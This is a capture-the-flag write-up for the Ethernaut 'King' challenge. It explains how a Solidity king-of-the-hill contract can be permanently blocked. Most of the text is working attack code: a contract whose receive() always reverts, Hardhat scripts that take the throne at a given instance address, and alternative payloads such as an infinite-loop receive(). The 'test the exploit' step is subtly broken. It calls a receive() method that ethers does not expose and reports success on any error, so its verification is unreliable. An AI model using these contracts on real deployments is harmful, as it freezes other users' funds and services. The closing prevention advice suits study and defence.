King Challenge - Ethernaut Level 9
Challenge Description
Challenge Goal
Become the king and prevent anyone else from taking the throne. The key is to understand how external calls work and exploit the contract's logic to make it impossible for others to become king.
Instance Address
0x3A80f3f240F1bB758F8C0887f944C39ebBaB7bFF
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}Understanding the Contract
This contract implements a simple "king of the hill" game:
- king: The current king's address
- prize: The amount of Ether required to become the new king
- owner: The contract deployer
The receive() function is the core of the game:
- Anyone can send Ether to become king if they send at least the current prize amount
- The previous king receives the Ether sent by the new king
- The new sender becomes the king and the prize is updated to their sent amount
The Vulnerability
The vulnerability lies in the receive() function's external call:
payable(king).transfer(msg.value);This line makes an external call to the previous king's address. If the previous king is a contract that doesn't have a receive() or fallback() function, or if that function reverts, the entire transaction will fail.
The Exploit Strategy
To prevent anyone from becoming king after us, we need to:
- Become the king by sending Ether to the contract
- Ensure that if anyone tries to send Ether to our address (to make us the previous king), the transaction will revert
We can achieve this by creating a contract that either:
- Has no
receive()orfallback()function - Has a
receive()function that always reverts
Creating the Exploit Contract
Here's the exploit contract that will prevent anyone from becoming king after us:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingExploit {
// Function to become king
function becomeKing(address kingContract) external payable {
// Send Ether to become king
(bool success, ) = payable(kingContract).call{value: msg.value}("");
require(success, "Failed to become king");
}
// This function will be called when someone tries to make us the previous king
// By reverting, we prevent the new king from taking the throne
receive() external payable {
revert("No one can become king after me!");
}
// Alternative: No receive function at all
// If we don't have a receive function, any Ether sent to us will revert
}The Exploit Steps
Here's how to execute the exploit:
Step 1: Deploy the Exploit Contract
// Deploy the exploit contract
const KingExploit = await ethers.getContractFactory("KingExploit");
const exploit = await KingExploit.deploy();
await exploit.deployed();
console.log("Exploit contract deployed at:", exploit.address);Step 2: Check Current King and Prize
// Get the King contract instance
const kingContract = await ethers.getContractAt("King", "0x3A80f3f240F1bB758F8C0887f944C39ebBaB7bFF");
// Check current king and prize
const currentKing = await kingContract._king();
const currentPrize = await kingContract.prize();
console.log("Current king:", currentKing);
console.log("Current prize:", ethers.utils.formatEther(currentPrize), "ETH");Step 3: Become the King
// Calculate the amount needed to become king
const prizeWei = await kingContract.prize();
const amountToSend = prizeWei.add(ethers.utils.parseEther("0.001")); // Add a little extra
// Become king using our exploit contract
await exploit.becomeKing(kingContract.address, { value: amountToSend });
console.log("Became king!");
// Verify we are now the king
const newKing = await kingContract._king();
console.log("New king:", newKing);
console.log("Our exploit contract:", exploit.address);
console.log("Are we the king?", newKing === exploit.address);Step 4: Test the Exploit
// Try to become king again (this should fail)
try {
await kingContract.receive({ value: ethers.utils.parseEther("1") });
console.log("ERROR: Someone was able to become king!");
} catch (error) {
console.log("SUCCESS: No one can become king after us!");
console.log("Error:", error.message);
}Complete Exploit Script
Here's the complete script to execute the exploit:
const { ethers } = require("hardhat");
async function main() {
const INSTANCE_ADDRESS = "0x3A80f3f240F1bB758F8C0887f944C39ebBaB7bFF";
// Deploy exploit contract
const KingExploit = await ethers.getContractFactory("KingExploit");
const exploit = await KingExploit.deploy();
await exploit.deployed();
console.log("Exploit contract deployed at:", exploit.address);
// Get King contract instance
const kingContract = await ethers.getContractAt("King", INSTANCE_ADDRESS);
// Check initial state
const initialKing = await kingContract._king();
const initialPrize = await kingContract.prize();
console.log("Initial king:", initialKing);
console.log("Initial prize:", ethers.utils.formatEther(initialPrize), "ETH");
// Calculate amount to send
const prizeWei = await kingContract.prize();
const amountToSend = prizeWei.add(ethers.utils.parseEther("0.001"));
// Become king
await exploit.becomeKing(kingContract.address, { value: amountToSend });
console.log("Became king!");
// Verify we are king
const newKing = await kingContract._king();
console.log("New king:", newKing);
console.log("Are we the king?", newKing === exploit.address);
// Test that no one can become king after us
try {
await kingContract.receive({ value: ethers.utils.parseEther("1") });
console.log("ERROR: Someone was able to become king!");
} catch (error) {
console.log("SUCCESS: No one can become king after us!");
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Why This Works
The exploit works because:
- When we become king, our exploit contract becomes the king
- When someone tries to become the new king, the contract tries to send Ether to our exploit contract
- Our exploit contract's
receive()function reverts - This causes the entire transaction to fail, preventing the new king from taking the throne
Alternative Exploit Methods
There are several ways to achieve the same result:
Method 1: Reverting receive() function
receive() external payable {
revert("No one can become king after me!");
}Method 2: No receive() function
// Simply don't implement receive() or fallback()
// Any Ether sent to this contract will revertMethod 3: Expensive receive() function
receive() external payable {
// Consume all gas
while(true) {
// Infinite loop
}
}Security Lessons
This challenge teaches several important security concepts:
- External Calls: Always consider what happens when making external calls to unknown addresses
- State Changes: Be careful about changing state before external calls
- Reentrancy: While not directly applicable here, this pattern can lead to reentrancy attacks
- Fail-Safe Design: Consider what happens when external calls fail
Prevention
To prevent this type of attack, consider:
- Using the Checks-Effects-Interactions pattern
- Implementing a withdrawal pattern instead of automatic transfers
- Adding checks to ensure the recipient can receive Ether
- Using
call()instead oftransfer()and handling failures explicitly
Conclusion
The King challenge demonstrates how external calls can be exploited to break contract logic. By creating a contract that reverts when receiving Ether, we can prevent the game from continuing after we become king. This highlights the importance of carefully considering the implications of external calls in smart contract design.